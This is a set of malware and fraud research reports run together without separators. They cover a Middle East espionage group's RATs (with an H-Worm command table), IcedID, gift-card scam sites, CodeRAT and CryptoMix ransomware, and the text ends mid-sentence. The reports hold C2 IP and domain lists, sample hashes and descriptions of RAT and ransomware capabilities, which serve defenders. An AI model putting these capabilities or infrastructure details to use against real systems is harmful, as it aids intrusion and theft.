这是一个之前未被曝光的RAT。根据该RAT包含的特殊字符“runmylove”,结合其是首款被发现到的使用SqlServer实现指令交互的RAT,我们命名为SSLove。最新版本的SSLove具有窃取短信、通讯录、WhatsApp和Telegram数据、使用FTP进行上传文件等多种功能。该组织在使用SSLove时和Droidjack用法一样,一种是直接使用,另一种是插入到正常APP中进行隐藏。 ### Windows Windows端共使用到三种RAT,都是在中东地区流行了数年的RAT,其中有两种(njRAT和H-Worm)曾被多次曝光,但依旧活跃。 #### njRAT njRAT又称Bladabindi,通过控制端可以操作受控端的注册表、进程、文件等,还可以对被控端的键盘进行记录。同时njRAT采用了插件机制,可以通过不同的插件来扩展njRAT的功能。该组织在使用njRAT时大多不是直接使用,而是在njRAT的基础上进行了二次封装,使用C#为njRAT加了一层壳,并对壳的代码进行了大量的混淆。该壳的作用是在内存中加载njRAT运行,防止njRAT被杀毒软件检测。 #### H-Worm H-Worm是一个基于VBS(Visual Basic Script)的RAT,该RAT情况信息可参阅FireEye之前发表的详细报告《Now You See Me - H-worm by Houdini》。此次攻击使用的是混淆变异后的H-Worm版本,去除混淆后进行分析,我们发现其指令列表并无变化。 | 指令 | 功能 | | ---- | ---- | | excecute | 执行服务端命令 | | update | 更新载荷 | | uninstall | 卸载自身 | | send | 下载文件 | | site-send | 指定网站下载文件 | | recv | 上传数据 | | enum-driver | 枚举驱动 | | enum-faf | 枚举指定目录下的文件 | | enum-process | 枚举进程 | | cmd-shell | 执行shell | | delete | 删除文件 | | exit-process | 结束进程 | | sleep | 设置脚本休眠时间 | #### fkn0wned fkn0wned是一款通过VB.NET编写的RAT,此次攻击使用的属于一个早期版本,仅接收“DOWNLOAD”指令,DDoS功能代码并未起作用,该RAT实际是个下载者。 ## 五、 受攻击地区分布情况 截至目前,360烽火实验室发现此次拍拍熊组织攻击活动影响到的国家共有11个,通过查询可知悉这些国家均存在某武装组织组织人员。显而易见,造成这个分布现象的缘由正是该组织采用的数次针对性的水坑攻击导致。 ## 六、 溯源与关联 360烽火实验室通过对此次拍拍熊攻击活动的分析,结合之前对黄金鼠组织的分析,我们发现两个组织除掉攻击目标和各自的专属RAT外,两者在下面几个方面有很强的关联性: - 均熟悉阿拉伯语,持续数年针对Android和Windows平台,擅长水坑攻击。 - 均使用多种RAT,其中大多数双方都有使用。 - 两个组织在两个时间段内使用了处于同一网段的C&C。 ## 七、 总结 随着地缘政治冲突等问题,各方试图通过网络情报和网络攻击活动占领先机,进一步造成网络空间冲突的加剧。此次拍拍熊组织又是一个基于此而产生的间谍情报活动组织,没有和平的因素,攻击不可能会停止。近期报道称中东某国境内的某武装组织最后据点被攻下且被宣灭亡,这或许意味着拍拍熊组织的攻击活动将会有所变化,最后愿早日长久和平! ## 附录A:样本MD5 **Android攻击样本MD5** - 12100da4635765f8d69d684f742a47bd085e195c9b14ef099171805c44ff4914 - 1d5e36be4b94289f214447964ede688d1a655affc8d5fffa48915a934f31f95e - 1daf7e38d8d918e8e087ad590b299218291c3f5b9b53381283a044e337899c84 - 1eb8e8667ed7d2a07076e3d2402076136d6961ced0e77c28f881db579301a927 - 249aad5d2722b69aac7ed27c9e669c798bb342a3e770717bd8f39ac12a687b54 - 2706be45411ed22ce456b8fe8273b285 - 31aad6045f403fcd397e19cad4f80d1f - 3751db0d511305b39601e09959491d8e - 430a0b26cc53f7d39b8192d0b3f79837 - 4333a9e5d6de6e12b368f5a943a30a0e - 484d74ebd0e3586e2ff694017dcaa9e3 - 51f7d6fec2be62fc29cfb94f52803428 - 523845736fc92ea80e9880641b768dc1 - 71d0cea1bee13d1e36b5a53788001b85 - 7d50a9bd474a7c5878ac8e0e4a183a8b - 80382a7f2eb4f292a28554bc95b57938 - 98d584d4d575e31f9f4f70c9be05166f - a31f1ce49662a60daa46180d02ab6218 - a41c5f227ac2816355ce4cf650993749 - a95d57eaaf7847a07e62c6ea0fecbfb7 - b7d12ab736b41d503e93a0bd6125cf62 - b87f516b2ee0e6df09510f75b16c25ef - bb2d1238c8418cde13128e91f1a77ae7 - bef2dddd8892a4985879971cf437d79b - c9e434e780b5bed397c543bb3264deea - d195511307a2c5ac52bebf8a98b9dfae - d207a876369681ed476f650d808a25a8 - dc1ede8e2d3206b04cb95b6ae62f43e0 - e92651bb3ad8c5c3acf38dedb2abc2ca - ea6e187934fc1459d3b04b0898496b2c - eb3310f19720abddc34c4602983e4f3c - f66d99406819ca96b47d7ff0881a0a1a ## 附录B:C&C - 66.85.157.86 - 82.137.255.0 - da3da3.duckdns.org - samd1.duckdns.org - samd2.duckdns.org - sorry.duckdns.org - btcaes2.duckdns.org
# IcedID Stealer Man-in-the-browser Banking Trojan ## Executive Summary IcedID stealer (also known as BokBot) was first discovered at the end of 2017, believed to be a resurgence of the NeverQuest banking Trojan. It is a modular banking trojan that uses man-in-the-browser (MitB) attacks to steal banking credentials, payment card information, and other financial data. The stealer possesses relatively sophisticated functionality and capabilities such as web injects, a large remote access trojan (RAT) arsenal, and a VNC module for remote control. Additionally, the use of steganography to hide configuration data along with anti-VM detection and anti-debugging techniques complicate detection and analysis. IcedID’s typical range of targets includes the customers of banks and telecommunications organizations worldwide, leading to impacts including brand abuse, funds theft, and customer data breaches. Cyberint has recently observed an ongoing campaign targeting users in the APAC region with an apparent focus on the Philippines and Japan. The IcedID stealer is traditionally delivered by a malspam lure, with Microsoft Word attachments weaponized with malicious macros, based on Emotet. While the majority of recently detected lure documents were written in English and targeted a wide range of users, localized campaigns have also been reported. One such recent example targeted users located in Japan with lure documents in Japanese, likely indicating that the threat actor behind this threat is relatively sophisticated and may focus on specific geographies as potential targets, adjusting their arsenal accordingly. While it is not possible to attribute IcedID to a specific group, past indications suggest a potential link to the following threat actors: - Lunar Spider - TA2101 ## Delivery As a generic malspam campaign that utilizes Emotet as the delivery mechanism, the lures are comprised of a generic subject (quotation/request/document/report) being sent to the targeted user. The email contains an attached ZIP folder protected by a password provided within the email body. At the next stage, once the user extracts the document file from the ZIP folder, they will be requested to ‘Enable Content’ within Microsoft Word, leading to malicious macro code being executed while decoy content is displayed. Once executed, the macro will write a variety of files to the drive, used for the download and decryption of the latest IcedID trojan, including an up-to-date configuration file containing a list of target bank and telecommunication organizations. In some cases, this was observed as a DLL file, while in others it was a steganographically obfuscated PNG file. Although surfaced in 2017, many iterations of this trojan have been well-investigated by numerous security researchers globally, but for the past year (circa January 2020), several new techniques were added in order to detect and evade sandboxes, and to generally hide the execution process taking place. It was also noticed that the malware creates a new folder with a random name, where it saves a downloaded configuration in encrypted form. Inside the %TEMP% folder, it drops some non-malicious helper elements: sqlite32.dll (that will be used for reading SQLite browser databases found in web browsers), and a certificate that will be used for intercepting traffic. ## Infection Once infected, the IcedID trojan, known as a banking Trojan, steals data related to banking transactions by injecting implants into browsers, API hooks, and a ‘Man-in-the-Browser’ (MitB) attack to manipulate visited webpages. As observed in the memory of an infected host, the svchost process contains strings that reveal the configuration of these ‘web-injects’, that being modular HTML and JavaScript code elements that are injected into the webpage of a targeted brand to steal data. The core bot that runs inside the memory of the svchost process observes other processes running on the system and injects implants into browsers. The IcedID module running inside the browser’s memory is responsible for applying the web-injects and installing malicious JavaScript into targeted webpages causing them to be executed on the client side. ## C2 The hooked scripts, loaded from modified browser DLLs, communicate with the main bot process residing inside the svchost process. The main bot coordinates the work of all the injected components and exfiltrates stolen data to the C2 server. In order to properly hide and encrypt its communication processes, all C2 communications are made over HTTPS using the trojan’s own certificate. ## Recommendations - Notify customer care of the ongoing threat in case of funds loss. - Cyberint recommends that customers educate their end-users and always check for unusual browser behaviors that may lead to account compromise or funds theft. - Phishing awareness to the end-users is advised. - Usage of a modern, updated AV solution is advised. - MFA should be enabled on all of the end-user accounts. ## Indicators Of Compromise ### Targeted Brands/Organizations Based on strings extracted from IcedID samples, the following brands and/or organizations appear to be targeted: - Amazon.com - American Express - AT&T - Bank Of America - Capital One - Chase - CIBC - Comerica - Dell - Discover - Dollar Bank - eBay - Erie Bank - E-Trade - Frost Bank - Halifax UK - Hancock Bank - Huntington Bank - J.P. Morgan - Lloyds Bank - M&T Bank - Centennial Bank - PNC - RBC - Charles Schwab - SunTrust Bank - Synovus - T-Mobile - Union Bank - USAA - US Bank - Verizon Wireless - Wells Fargo ### IcedID Samples The following SHA256 hashes relate to recently observed IcedID malware samples: - 00ec5cc40b91832adc257b43cb28f2fe0734c6e1761ae5020bd8178116ed005c - 02c2cace0eab2cb902cf567be3524616db1747abd79c3417d3762452c604ab85 - 08cc79fac123eefee7e05e3568a0aa6d219e43d22b0679ea5d7a3ffaf4337403 - 08d1f171b424a35c7aeebb55da2077078f62fae847616a4f8c80f3e3e11d6573 - 10164d00c17bacb88eca79a8a836176ac49bfb7547ed90efcb86d19cdfda9dcb - 12b73194a373f12d89a83152bd56ee02054dd20030cb6b421b7e79e70e1d2484 - 17f2d25fcba0ad909c0561179407b4bb37917b643b2c181dcdcb4c3cec743a5c - 213347251fc9f4b6812547ecfef2b3783789067ccffee1521eb88c36003a742e - 36d5d2317b7172e45229c24b2870bd827a8bdc7204fe2cd70aedb74c81e75126 - 3df7246090c8b2a9c9d19d68ca4bd2908247494a8badea39c00e3f20d60dfcae - 3eace4aacf5dc5dc624ab72cf84b7c0f476ee0ff0de267d0976e25d2eee9f5d9 - 3f1b388938f1e6c6920e54639b8a3dafa9e381f3ef45e855123941e83bad64c7 - 3f8bc3cde5654bd8ac467a2efd1f926808c5915a6fd3e3f1d32edd13eaf3f1b1 - 4e7b3116a6589afe645b3e42e0ee9d0fa9c41c7847bca52e1be85ccd1058556b - 550e7c5e79a0455d26f02e84921b7c40645d0b361c1e09e1b00bc79a930b2e85 - 56de520fa4445ccabe60373b039299f5709f291ff594482c92670d1eb8b911f6 - 6297e0fa6229c7f329f66227656bbf99d1329aaa48341c2f750c78f1937ac952 - 65ca5c2ea9b9eb4d10ab9d91e3928bdff5f27883a5a4c85a4e0871b56ab3533f - 6a6243c111cbf9a94177835ab02a8378497ed18b5ba1d6fdceb03e9410e08cec - 6bae8f2c4c1b730825cc5e9ce7bae35039eb08833b7310bf4f444d2524b1601f - 6df240658329d6c21a7d6669c47ad824cb0d8af76cca197da2d919f27fc4b70e - 6eb53a11d07dd708ecb63b036145e7e942a61eb693cc3353c612569121b4a110 - 732a12f4a7b85176abfc17c142e83761d7a957672852af0d9069a9bc47defeb1 - 75509601134e810e7ae3dc36e8b9abff1025c0a0dada3b21ead7e24fd5f3ce2c - 79957427faa2eed376f597aba9eb43fe9789e715833026fefd50458c73ee32b4 - 7a1a59257242c047bb2864abb448e00cfc8b2d281faab4bbfd3ce790c9c27400 - 7a371fcda4e07d7d7e516eed24c84908a601041bc00bb8736680d0b2349e3dec - 7d6cdbaac836d0c95876c7c669687c933d3097477680864d9d4d6b7fb0c08345 - 7df70a77a6d20050c3d38bc30a2ccfeef4523f811c128717dbfd82325b50bbc8 - 7f19267b62de5efe0bbcd716c9f481e108fb60f4d35435595ae27489d08f7e0d - 7fde0ff1061d3d15fe584f6ea186e1a23b9ce07123ff9dd70f71fcb51c099369 - 8be1e875a92483a1301d9144b5cd8897951ccb3ca811c99f10e51fff67552166 - 8c7dc92c6019d80364cda2d6ce19b157ac77b013731415d825b1a30f93c6d56d - 9bb46cd5d1047a3694b3a3862c7ec16d0c3e7838d91c1361760f92958897be5c - a4f88c40f615a527c16159d41c2798ff452c17a394e96d3b028516c46f88462f - a7d8b3ab991c3be2e0f60fd748be9b55072f65b4cc0a36dc0d3c470ac3ea33b2 - b559a7560009ca33ad205d32122cb67538dd392ea4a4f5feffa521288810e5bd - b8a1f0962411b5e5b5bc5e2c77b56c5a2f0fdfc5fe3c3a5857466fbfe9ac66bd - b9d50f2ddfaa200c7c4695a9eb59c81347b52d53383534997c8b318b75be07d1 - ba92631f803bed252ce1839612315ab40653b2eff3e5f12edc38e4a66e004ccb - baf2c1ade873167029a7ebc83ba56dca256ca91bd527a451ddde2efa3e3b6ddb - c6019a1c6d66bc6aae0b6c1502ff241dd9cd00b60ef5e45b2dbd38571f40fb1f - c6ea88ec4f01251649010e4a364374c90fc9f5bb6c22f1368ee5f222ea5e9b60 - c7bb632d52a485b9a2be160b2f8fa29abb3cd840ef0e7747f5d509846dcbf38b - ca6738bd50f5eb9a4559f58d5c5ee6e8045a30fd306c110d760dcc325c9aacff - cab24ced596b142b9bb38e691addea16c72b40d4b5f96865a25052ff11aeb6e0 - cdba1a0f75ecbeda42243f44cd8ac9b9fcd90e9213d8b4f8280e90b956635030 - ce36a13c5f837b9a1658ea5d77f1114b16ce4dada582e47d646321e5dd7cb0c1 - d35d93cbf992171905ec9c00f6c821850d3d1335c591df86f2dd3966d25f8ba0 - d5baabfe5ca28dd041bea2504807dbcdb1ff91b5c8f7e74c16e56f5b810ea3b5 - d9c7e8813b3d6c361e655a90c76b713bc90865819394df52e38e6012e48836b8 - e77c51ee76cde36adf1ad4a2461a3d29e6964aa13fde870c4e6fad041cebbec8 - eb1c15124298fa388784f270ceb0e6176dac3e65ad81f2e6951b1c4ce9381ea3 - f540a652469981b7a0ba4337c228712888e1d9cf75a00ce17c3fd3775c9b2781 - f6cba12a315620b39f172e496ade5dd6048cc09a6e454f9209284c73ffd055e2 - f8ed31cb2708b5230a3ce326153dbe0a1821161ef5e8b4d9e4df1edcd536db3e - fc9565534d447bb7d5498aec1dcf1e0b933a7a717c159690529ba3b5ad7c9922 ## Command & Control Infrastructure The following command and control (C2) IP addresses have recently been observed as IcedID infrastructure: - 149.154.64.179 - 178.250.156.74 - 178.250.157.144 - 185.219.43.85 - 185.98.87.6 - 193.109.79.219 - 193.201.126.18 - 194.61.2.224 - 45.12.4.206 - 45.128.206.80 - 45.129.237.168 - 45.150.64.102 - 45.150.64.57 - 45.8.124.36 - 45.89.67.169 - 5.253.61.235 - 62.109.14.179 - 80.85.158.53 - 83.166.242.27 - 93.189.41.223 ## MITRE ATT&CK The following techniques have been observed in recent IcedID campaigns: | Technique | Tactic | |--------------------------------------------------------------------|------------------------------| | T1027 – Obfuscated Files or Information | Defense Evasion | | T1027.002 – Software Packing | Defense Evasion | | T1027.003 – Steganography | Defense Evasion | | T1047 – Windows Management Instrumentation | Execution | | T1053.005 – Scheduled Task/Job: Scheduled Task | Execution, Persistence, Privilege Escalation | | T1059.005 – Command and Scripting Interpreter: Visual Macros | Execution | | T1069 – Permission Groups Discovery | Discovery | | T1071.001 – Application Layer Protocol: Web Protocols | Command & Control | | T1082 – System Information Discovery | Discovery | | T1087.002 – Account Discovery: Domain Account | Discovery | | T1105 – Ingress Tool Transfer | Command & Control | | T1106 – Native API | Execution | | T1137.001 – Office Application Startup: Office Template Macros | Persistence | | T1185 – Man in the Browser | Collection | | T1204.002 – User Execution: Malicious File | Execution | | T1218.007 – Signed Binary Proxy Execution: Msiexec | Defense Evasion | | T1529 – System Shutdown/Reboot | Impact | | T1547.001 – Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder | Persistence, Privilege Escalation | | T1553.002 – Subvert Trust Controls: Code Signing | Defense Evasion | | T1555.003 – Credentials from Password Stores: Credentials from Web Browsers | Credential Access | | T1573.002 – Encrypted Channel: Asymmetric Cryptography | Initial Access |
# Gift Card Scams Explode in Upcoming Holiday Shopping Season Gift card scams are continuing, and the criminals continue to target well-known Apple's new everything gift cards announced back in July. Instead of separate cards for iTunes or Apple Store purchases, consumers can now purchase a single gift card and use it to purchase products, accessories, games, music, movies, TV shows, iCloud, and more. The site below leverages a typosquat attack and uses a URL that looks authentic and could easily fool somebody. The user is prompted to enter their gift card number to check their balance. Once they do, the site either hangs indefinitely or shows an error message. In some cases, it displays an invalid number message. Unfortunately for the user, if they get this far, it's already too late. The criminal has the gift card number and has either sold it on a gift card exchange or used it to make a purchase of their own. **Scam Site URL:** applegiftcardbalance[.]com Apple's new gift cards are likely to be a popular gift during this holiday season given the company's slate of new products launched this year. In the past 90 days, Bolster Research has found 1,645 phishing or scam Apple sites, and over 10,000 suspicious URLs that include the word "apple." The sites are hosted in multiple countries with some of the more interesting countries being the Russian Federation (588 sites), US Virgin Islands (75 sites), and Ukraine (2 sites). The sites are hosted on a number of top-level domains (TLDs), which demonstrates the problem companies face as more TLDs are created every year. The traditional defensive method of proactive domain registrations is economically unfeasible given that a six-letter domain results in 1,200 variations. Bolster has an extensive report and analysis of this problem. 2020 has been an unpredictable year for retail and online shopping, and analysts are very cautious in their holiday season predictions. The International Council of Shopping Centers (ICSC) predicts a nominal 1.9% increase from 2019, where Deloitte predicts two possible scenarios with retail holiday sales growth anywhere between 0% to 3.5%. Though the faltering economy, high unemployment, and surging COVID-19 infections are causing anxious consumers to avoid brick-and-mortar stores, online shopping continues to rise. Gift cards are one of the most popular gifting options for the holidays, especially as e-gift cards are now available by most major retailers including Amazon, Target, and Best Buy. Research firm Technavio forecasts a 13% compound annual growth rate for gift cards, driven by among other things the growth of e-commerce, which has exploded during the pandemic. Cyber criminals have taken notice and are launching specific online campaigns targeting gift cards. Bolster research discovered a sharp rise in gift card scams as cyber criminals launch tactics to take advantage of the giving season. The analysis uncovered two primary types of gift card scams: 1. **Check your gift card balance** These sites offer to help you check the balance of your gift cards but steal gift card numbers from consumers. 2. **Survey scams with gift card offer** These sites offer bogus free gift cards for completing surveys, which are used to collect personal information that is sold for profit. The data for this analysis was collected by the Bolster platform, which analyzes over one million sites daily and uses a combination of deep learning, natural language processing, and computer vision to understand the intent of a site and make a determination whether it is a phishing or scam site. The technology has a false positive rate of 1/100,000. ## Gift Card Scams Explode Bolster Research data shows that gift card scams first spiked in March and April as the COVID-19 pandemic caused many countries to issue shelter-in-place orders, corresponding with a sharp increase in e-commerce activity. After a brief lull in the summer, the data illustrates a more dramatic spike in September, which has continued into November. The large increase coincides with the early start of the holiday shopping season, including Amazon Prime Day in mid-October. November experienced the highest rate of new gift card scams with 6,881 total new sites, over 229 new sites per day, and nearly 10X more new sites created than those in January. ### Nearly 10X Increase in New Scams Monthly **Retail and Gaming are Prime Targets** Among the categories, retail and gaming are the most often targeted by gift card scammers going into the holiday season. In November, these two categories accounted for 59% of all gift card scams found online. The large increase is driven by the popularity of these categories during the holiday shopping season and the introduction of two highly anticipated new gaming consoles from Microsoft and Sony. **Check Your Gift Card Balance Scams** Target experienced a dramatic increase in e-commerce sales during the pandemic. In August, the company announced that its digital sales tripled with online purchases and curbside pickup jumped by more than 700%. Not surprisingly, Target gift cards are one of the more popular online scams discovered by Bolster Research. The screenshot below illustrates a fraudulent Target gift card balance checker site. The layout, text, and colors are identical to the authentic Target gift card balance checking site. Unsuspecting users can easily be tricked to enter their gift card numbers. Once they enter the number, the site displays a never-ending “checking balance” status or some sort of error misleading users into thinking the site is malfunctioning. In reality, the valid gift card numbers are harvested by the criminals and monetized by either reselling them on other sites or using them to make purchases. Though the criminals went to a lot of effort to make this appear authentic, there are signs that this is not a legitimate Target site. - None of the other URLs work. Clicking on the links to sign in, search store locations, or look at the weekly ads don’t function. The reason is that criminals do not want their victims to leave the scam site. Linking to the real Target site would allow the users to leave the site before entering their gift card numbers. - The URL utilizes a typosquatting attack, utilizing a carefully chosen URL to trick users into believing it is an authentic Target site. The wording is slightly awkward with “…giftScard.com” but this could be easily overlooked. Target does seem to own “…giftcard.com” and “…giftcards.com.” These have been preemptively registered to prevent this type of attack. However, this scam site shows the limitations of preemptive domain registration as a defensive strategy. Bolster Research has an in-depth report that discusses the challenges of fighting typosquatting attacks and the limitations of preemptive domain registration. More in-depth analysis confirms that this is not a legitimate Target site. - The domain is registered to an entity in the state of Delhi, India. Target is a US-based company and would not register their domains in India. - The site is hosted in Singapore through GoDaddy.com. GoDaddy is a consumer and small business service that is not used by large companies to host sites. Unless serving a foreign market, US companies host their sites in the US for the best user experience. - The IP address has been used for phishing sites in the past. This data is available on Bolster’s free community service Checkphish.ai. - The IP address is shared with other non-Target Indian business sites. Large multinational corporations like Target use their own IP addresses and do not share them with other sites. Bolster Research found other Target gift card scam sites that are less sophisticated and have a lower probability of tricking users. The official Target logos and colors are not used, and the text reads as if the writer learned English as a second language. The main image looks like it is the inside of a Target store. What is interesting, however, is that by avoiding the use of Target’s official logo, this site is more likely to evade detection. Most brand protection companies rely on the use of logos. Bolster discovered this site because its AI-driven platform combines highly accurate computer vision and natural language processing to assess the intent of the site, similar to how a human being would assess the site. ## Gift Card Survey Scam Gift card survey scams are also becoming more prolific. These sites claim they can check for unused gift card codes. They offer these for free to users if they take the time to fill out a short survey. The purpose of these sites appears to be the collection of personal and demographic information that they will sell to companies or others that find this information useful. A single group looks to be behind hundreds of these scam sites using fake gift card offers from AliExpress, Bath & Body Works, Forever 21, and many others. The URL pattern is consistent and follows the template of https://[fake domain]/free-[brand name].html. For example, the URLs below are examples of fake survey sites that look and operate exactly the same except for the gift card brand being offered. Bolster Research has found more than 1,000 active survey scam sites that appear to be from the same perpetrator. At face value, these survey scams seem overly simple. However, many people have lost their jobs or are struggling to survive financially, so it is not hard to imagine why people would fall for these scams. The scam site itself is very sophisticated and masterfully creates a sense of urgency to keep unsuspecting victims engaged. Once a gift card amount is selected, the site displays visuals designed to make the victim believe that a database search is occurring. The database search results in a success, and a partial gift card code is revealed. With the victim hooked, the site then proceeds to ask a series of survey questions to gather information such as name, address, phone number, and date of birth. The survey continues to ask questions about spending habits, car insurance information, healthcare preferences, among other things. During the survey, the victim is required to explicitly opt-in to receive calls and text messages, even if they are listed on the federal or state do not call registry. Unfortunately for the user, there is no gift card at the end of the survey. What actually happens is an endless set of surveys that cover more and more preferences and demographic details. The victim is constantly encouraged to take one more survey for a chance to win another gift card. It is obvious that the site was created by someone with an understanding of human psychology and gamification to encourage victims to reveal more and more personal information. ## How to Avoid Gift Card Scams As cyber criminals ramp up gift card scams this holiday season, there is a good chance the average shopper will come across one of these campaigns. They could also receive a gift card as a present and unknowingly fall victim to one of these scams. Shoppers can stay safe and avoid becoming a victim of these scams by following these helpful tips: - Always use the retailer’s site to check gift card balances. All retailers who offer gift cards have pages on their websites that allow shoppers to check gift card balances. - Avoid checking your gift card balance on third-party sites. - Go to a site by typing the retailer’s URL directly. Do not use a search engine such as Google to find a gift card balance checker page. Scammers are known to deploy search engine optimization tactics to rank high on search engine queries to lure unsuspecting victims. Using a search engine could cause you to go to a fake URL that closely resembles the real site. - Remember there are no free gift cards. Though it is tempting to believe that today is your lucky day, nobody gives out free $50 gift cards for a few minutes of your time. The logic is impossible. Bolster works with some of the largest brands to protect their users and customers from online phishing and fraud scams such as gift card scams. If you would like to learn more about how Bolster’s AI platform can help you identify and remove gift card scams targeting your customers, please contact us.
# SafeBreach Uncovers New Remote Access Trojan (RAT) **US Cert Alerts | Research** **Sep 1, 2022** SafeBreach Labs researchers have uncovered a new Remote Access Trojan (RAT) dubbed CodeRAT, which targets Farsi-speaking code developers using a Microsoft Dynamic Data Exchange (DDE) exploit. **Author:** Tomer Bar, Director of Security Research, SafeBreach SafeBreach Labs researchers are constantly monitoring the hacker underground, sourcing intelligence feeds, and conducting original research to uncover new threats. Recently, we discovered a targeted attack compelling for four main reasons: 1. It targets Farsi-speaking code developers via a Microsoft Word document that includes a DDE exploit. 2. It leverages a previously undiscovered RAT—CodeRAT—that supports approximately 50 commands. 3. We identified the developer of CodeRAT, who, after being confronted, published the source code on his public GitHub account. 4. CodeRAT uses a unique exfiltration and command and control mechanism, utilizing a public anonymous file upload API instead of a dedicated C2 server. ## CodeRAT Overview For initial access, the threat actor uses a Microsoft Word document with a DDE exploit, a technique used to deliver malicious code within a macro. The document contains information regarding hardware design languages like Verilog and VHDL. The file, named 432gsbse5, was first uploaded to the alberfrancis GitHub repository on April 22, 2022. The exploit downloads and executes CodeRAT from this repository, which was updated and re-uploaded multiple times. Once executed, CodeRAT's main goal is to monitor the victim’s activity on social networks and local machines. It includes almost 50 commands, allowing the attacker to monitor webmail, Microsoft Office documents, databases, social networks, games, and IDEs for Windows and Android. Notably, it monitors browser window titles unique to Iranian victims, indicating its use as an intelligence tool by a government-affiliated threat actor. CodeRAT supports communication over Telegram groups using the bot API or through USB flash drives. It can operate in silent mode, limiting its usage to 30 days, and uses the HTTP Debugger website as a proxy to communicate with its C2 Telegram group. ## CodeRAT Detailed Analysis ### Operation Modes CodeRAT has five modes of operation derived from command line arguments: 1. **“father”** – Kills a process and restarts it. 2. **“Continue”** – Deletes specific files of a process. 3. **“Word”** – Checks the last modified date of the RAT binary. 4. **“Wordbetraied”** – Downloads a DLL and processes .docx files. 5. If no command arguments are used, it executes a file ending with .exe.bak. CodeRAT generates a unique ID for each victim based on system identifiers. ### Commands Commands can be received through three methods: 1. **Local file** – Reads commands from a file in the myPictures folder. 2. **Manual UI** – Gets commands from the main UI window. 3. **Telegram bot API** – Uses the bot API to receive messages and commands. CodeRAT can upload files, screen captures, and thumbnail images using a public anonymous file upload API. ### CodeRAT “boss” Mode CodeRAT checks for “boss” mode every two seconds. If a specific file exists and matches a known MD5 hash, it will unhide the main window for manual operation. ## Attribution Clues indicate the threat actor targets Iranian developers, including: - The malicious Word document contains Farsi language content. - Monitoring of sensitive windows related to Iranian e-commerce and development tools. - The attackers’ names may be common Persian names. We discovered the bot name was HellChainBot, and the attacker’s Telegram group user name was Mr Moded. ## Conclusion SafeBreach is committed to sharing research with the security community. By disclosing information about CodeRAT, we aim to raise awareness of this new malware type and warn the developer community of their vulnerability to such attacks. SafeBreach has added coverage for CodeRAT to its platform, allowing customers to simulate this attack and verify their protection. ## Appendix A: IOCs List - **Docx**: Contains XML file with DDE exploit. - **File**: 432gsbse5 – current version of CodeRAT. - **YARA Rule**: Detects CodeRAT binary. ## Appendix B: Sensitive Windows Title List to Monitor CodeRAT monitors activities on various platforms, including: - **Iranian Sites**: Digikala, Eitaa. - **Webmails**: Gmail, Yahoo, Outlook. - **IDEs**: Visual Studio, PhpStorm, Pycharm. - **Social Networks**: Telegram, WhatsApp, Facebook. - **Pornographic Sites**: pornhub, xnxx, xvideos. ## Appendix C: Source Code Default File Extensions List CodeRAT targets various source code file extensions, including .sln, .cpp, .cs, and more. **Credits & References** I would like to credit Rico Jambor for the first discovery of RoboThief and for helping us contact Mr Moded (the CodeRAT developer).
# Technical Analysis of CryptoMix Ransomware ## Campaign CryptoMix is another ransomware family that is trying to earn money by encrypting victims' files and coercing them into paying the ransom. Until recently, it was more known as CryptFile2, but for reasons unknown, it was rebranded to CryptoMix. It was observed in the wild being served by the Rig-V exploit kit. This malware stands out from among others, but not necessarily in a good way. ## Price The first unusual thing about this family is the very large amount of money requested – 5 bitcoins is an insane amount of money, especially considering that CryptoMix is really primitive under the hood. We don’t know how many victims have paid, but probably few were desperate enough. Additionally, we have stumbled upon the following comment discouraging anyone from paying the ransom: > DO NOT PAY FOR THIS!!! > We were infected and they asked for 10 bitcoins. After some negotiations, the price was lowered to 6 bitcoins. They provided 1 decrypted file to prove concept. We paid 6 bitcoins and they asked for another .6 as the C&C server will not provide the key due to late payment. After promptly paying another .6 bitcoins (about $4800 in total), there has been no communication from them! It's been 2 weeks and nothing. > WHATEVER YOU DO, DO NOT TRUST THEM, THEY WILL NOT DECRYPT YOUR FILES!!!! We can’t verify if this is true, but it sounds plausible – if someone is desperate enough to pay 6 bitcoins for their files, they probably can be coerced into paying even more. As usual, we discourage anyone from supporting the criminals by paying the ransom. ## Payment Portal Additionally, CryptoMix doesn’t have any payment portal in the Tor network. Victims have to write an email and literally wait some time before malware operators kindly send the decryption keys (assuming that they will do it, instead of bargaining for even more money). For example, ransom messages can look like this (most recent variant) or like this (older variant). We don’t think that this strategy was well thought out. First of all, using emails for communication with victims is bothersome and needs constant attention. An automated portal would be much more reliable and secure for both sides. Additionally, emails are prone to being deleted or locked, effectively cutting malware authors from their “clients”. ## Charity The content of exchanged emails is very unusual too. Actors claim to be a charity organization that is going to sponsor presents and medical help for children. That’s really original, but unfortunately also obviously false. Leaving aside strange quirks of ransomware “interface,” let’s get more technical. At its heart, CryptoMix is just a bare-bones encryptor – it doesn’t have any fancy features, it doesn’t have a web portal, it doesn’t change user wallpaper; the only thing it does is encrypting every file on the victim’s disk and on the mounted network drives. CryptoMix is protected by a very primitive packer – the real binary is stored in resources and XORed with a hardcoded key. For some reason, Cuckoo has problems with automatic unpacking of CryptoMix, so we had to write our own unpacker. Using pefile and Yara is very easy. After decryption, ransomware checks whether it’s being debugged – but no anti-VM techniques are employed, so everything works as it should under VirtualBox. Before file encryption starts, the ransomware checks internet connectivity (using the InternetOpenUrl function). If everything is okay, an encryption key is generated on the victim’s PC and sent to the C&C server. Otherwise, depending on the malware version, either a hardcoded encryption key is used or the malware spins in an infinite loop until the internet connection is restored. The main function can be expressed as follows: After the encryption key is generated or selected, it is stored in the Windows registry. The registry key used for malware-specific data varies depending on the version, but for example, `Software\Microsoft\Windows\Shell\Nodes Slots`, `Software\Microsoft\Windows\Shell\FlashPlayerPluginK`, or `Software\Adobe Reader LicensionSoftware\AdobeLicensionSoftware` can be used (malware probably tries to hide its presence by impersonating another software). The list of supported extensions contains more than 1250 entries. That’s quite a lot of extensions, but nothing special (for comparison: CryptXXX supports 933 extensions, CrypMIC 901). The most unusual thing here is the inclusion of other ransomware extensions (for example, .zepto, .locky, .crypt, .locked, .cryptolocker, .cryptowall, etc.). ## Encryption Let’s get back to the ransom message for a while. The malware claims that our files are “encrypted with 2048-bit RSA KEY.” Well, it’s not entirely true. Yes, a 2048-bit RSA key is generated with the Windows Crypto API – but after the RSA key is selected, it is hashed with SHA256 to create a real encryption key, and every file on disk is encrypted with that key. The encryption algorithm used is AES 256 in CBC mode without an initialization vector. The encryption routine can be summarized with this (simplified) code. This function is called for every file, so hashing the RSA key and deriving the AES key every time doesn’t make much sense. But there is a bigger problem with it – there is no need for such things as “public” and “private” keys because this encryption routine is entirely symmetric – RSA serves here just as an 